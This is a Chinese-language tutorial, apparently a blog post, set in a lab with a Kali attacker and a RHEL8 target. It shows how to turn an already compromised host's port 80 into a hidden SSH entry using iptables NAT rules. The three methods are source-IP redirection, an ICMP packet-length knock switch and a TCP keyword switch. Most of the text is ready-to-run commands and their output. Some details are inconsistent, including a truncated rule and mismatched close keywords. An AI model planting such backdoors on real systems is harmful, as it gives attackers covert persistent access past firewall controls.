环境:
攻击主机:Kali -- 192.168.218.135
目标主机:RHEL8 -- 192.168.218.129
什么是端口复用
端口复用是指不同的应用程序使用相同端口使用相同端口进行通讯。
场景
目标主机是Linux系统,目标主机防火墙有严格的限制,只允许80端口的流量进入。我们拿到了目标主机的Webshell并且拿到了SSH的账号密码。但是我们不能通过22端口远程连接,必须得利用80端口做端口复用连接。
现在我们的思路就是利用Linux的iptables防火墙的nat表的PREROUTING 链做端口复用,因为nat 表的 PREROUTING 链会在路由决策之前被处理。
方法一:根据源地址做端口复用
将来自192.168.218.135的访问80端口的流量都重定向到22端口
[root@localhost ~]# iptables -t nat -A PREROUTING -p tcp -s 192.168.218.135 --dport 80 -j REDIRECT --to-port 22
连接目标主机的80端口将会被重定向到22端口
┌──(root㉿kali)-[~]
└─# ssh root@192.168.218.129 -p 80
The authenticity of host '[192.168.218.129]:80 ([192.168.218.129]:80)' can't be established.
ED25519 key fingerprint is SHA256:Xyl+VWFSAPsWpBdCAW3pJSxbbajvRsoVvfqXavSa6fA.
This key is not known by any other names
Are you sure you want to continue connecting (yes/no/[fingerprint])? yes
Warning: Permanently added '[192.168.218.129]:80' (ED25519) to the list of known hosts.
root@192.168.218.129's password:
Activate the web console with: systemctl enable --now cockpit.socket
Register this system with Red Hat Insights: insights-client --register
Create an account or view all your systems at https://red.ht/insights-dashboard
Last login: Thu Feb 2 09:10:41 2023 from 192.168.218.1
[root@localhost ~]#
这样搞当我们访问目标主机80端口时候的所有的流量都会被转发给22端口,网页可能就打不开了哈哈。如果我们不用访问该HTTP服务的话,还行。适用于VPS连接。
方法二:利用ICMP协议做遥控开关
-
创建端口复用链
[root@localhost ~]# iptables -t nat -N LETMEIN
-
创建端口复用规则,将流量转发给22端口
[root@localhost ~]# iptables -t nat -A LETMEIN -p tcp -j REDIRECT --to-port 22
-
开启开关,如果接受到一个长为1139的ICMP包,则将源IP添加到letmein中
[root@localhost ~]# iptables -t nat -A PREROUTING -p icmp --icmp-type 8 -m length --length 1139 -m recent --set --name letmein --rsource -j ACCEPT
-
关闭开关,如果接收到一个长为 1140 的 ICMP 包,则将源 IP 从 letmein 中去掉
[root@localhost ~]# iptables -t nat -A PREROUTING -p icmp --icmp-type 8 -m length --length 1140 -m recent --name letmein --remove -j ACCEP
-
如果发现 SYN 包的来源 IP 处于 letmein 列表中,将跳转到 LETMEIN 链进行处理,有效时间为 3600 秒
[root@localhost ~]# iptables -t nat -A PREROUTING -p tcp --dport 80 --syn -m recent --rcheck --seconds 3600 --name letmein --rsource -j LETMEIN
开启复用,向目标发送一个长度为1111的ICMP数据包(加上IP的包头20位和ICMP包头的8位实际位数位1139)
┌──(root㉿kali)-[~] └─# ssh root@192.168.218.129 ssh: connect to host 192.168.218.129 port 22: Connection timed out ┌──(root㉿kali)-[~] └─# ping -c 1 -s 1111 192.168.218.129 PING 192.168.218.129 (192.168.218.129) 1111(1139) bytes of data. 1119 bytes from 192.168.218.129: icmp_seq=1 ttl=64 time=0.826 ms --- 192.168.218.129 ping statistics --- 1 packets transmitted, 1 received, 0% packet loss, time 0ms rtt min/avg/max/mdev = 0.826/0.826/0.826/0.000 ms ┌──(root㉿kali)-[~] └─# ssh root@192.168.218.129 -p 80 The authenticity of host '[192.168.218.129]:80 ([192.168.218.129]:80)' can't be established. ED25519 key fingerprint is SHA256:Xyl+VWFSAPsWpBdCAW3pJSxbbajvRsoVvfqXavSa6fA. This key is not known by any other names Are you sure you want to continue connecting (yes/no/[fingerprint])? yes Warning: Permanently added '[192.168.218.129]:80' (ED25519) to the list of known hosts. root@192.168.218.129's password: Activate the web console with: systemctl enable --now cockpit.socket Register this system with Red Hat Insights: insights-client --register Create an account or view all your systems at https://red.ht/insights-dashboard Last login: Thu Feb 2 09:10:41 2023 from 192.168.218.1 [root@localhost ~]#
关闭复用向目标发送一个长度为1112的ICMP数据包
┌──(root㉿kali)-[~] └─# ping -c 1 -s 1112 192.168.218.129 PING 192.168.218.129 (192.168.218.129) 1112(1140) bytes of data. 1120 bytes from 192.168.218.129: icmp_seq=1 ttl=64 time=0.377 ms --- 192.168.218.129 ping statistics --- 1 packets transmitted, 1 received, 0% packet loss, time 0ms rtt min/avg/max/mdev = 0.377/0.377/0.377/0.000 ms
该方法的缺点是,如果目标在内网,我们无法直接ping
方法三:利用TCP协议做遥控开关
利用 tcp 数据包中的关键字做遥控开关,不怕目标在内网。
-
创建端口复用链
[root@localhost ~]# iptables -t nat -N LETMEIN
-
创建端口复用规则,将流量转发给22端口
[root@localhost ~]# iptables -t nat -A LETMEIN -p tcp -j REDIRECT --to-port 22
-
开启开关如果接收到一个含有zhimakaimen的TCP包,则将来源 IP 添加到加为letmein的列表中
[root@localhost ~]# iptables -A INPUT -p tcp -m string --string 'zhimakaimen' --algo bm -m recent --set --name letmein --rsource -j ACCEPT
-
关闭开关,如果接收到一个含有threathunterleaving的TCP包,则将来源 IP 从letmein的列表中移除
[root@localhost ~]# iptables -A INPUT -p tcp -m string --string ‘threathunterleaving’ --algo bm -m recent --name letmein --remove -j ACCEPT
-
如果发现 SYN 包的来源 IP 处于 letmein 列表中,将跳转到 LETMEIN 链进行处理,有效时间为 3600 秒
[root@localhost ~]# iptables -t nat -A PREROUTING -p tcp --dport 80 --syn -m recent --rcheck --seconds 3600 --name letmein --rsource -j LETMEIN
开启复用,开启后本机到目标80端口的流量将转发至目标的SSH
┌──(root㉿kali)-[~]
└─# echo zhimakaimen | socat - tcp:192.168.218.129:80
关闭复用,80端口恢复正常
──(root㉿kali)-[~]
└─# echo bagalalu | socat - tcp:192.168.218.129:80